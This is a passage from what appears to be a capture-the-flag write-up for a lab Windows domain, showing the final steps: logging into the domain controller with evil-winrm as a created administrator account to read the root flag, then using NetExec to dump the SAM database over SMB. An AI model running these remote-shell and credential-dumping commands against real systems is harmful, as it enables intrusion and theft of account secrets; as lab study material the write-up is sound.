<figure><img src="/files/dA1AcFOMpAqXOX3yvYKx" alt=""><figcaption></figcaption></figure>

We are not able to authenticate as bob a local administrator to the domain controller and are able to retrieve the root flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.fragments.local -u bob -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/BDE7VEN69HRuECnT6ksl" alt=""><figcaption></figcaption></figure>

As a post-compromise action, we use NetExec with the newly created `bob` account to dump the SAM database over SMB.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.fragments.local -u bob -p 'Pwned123@!' --sam
```

{% endcode %}

<figure><img src="/files/YrWGsCmTKWqZIcSVQt3L" alt=""><figcaption></figcaption></figure>
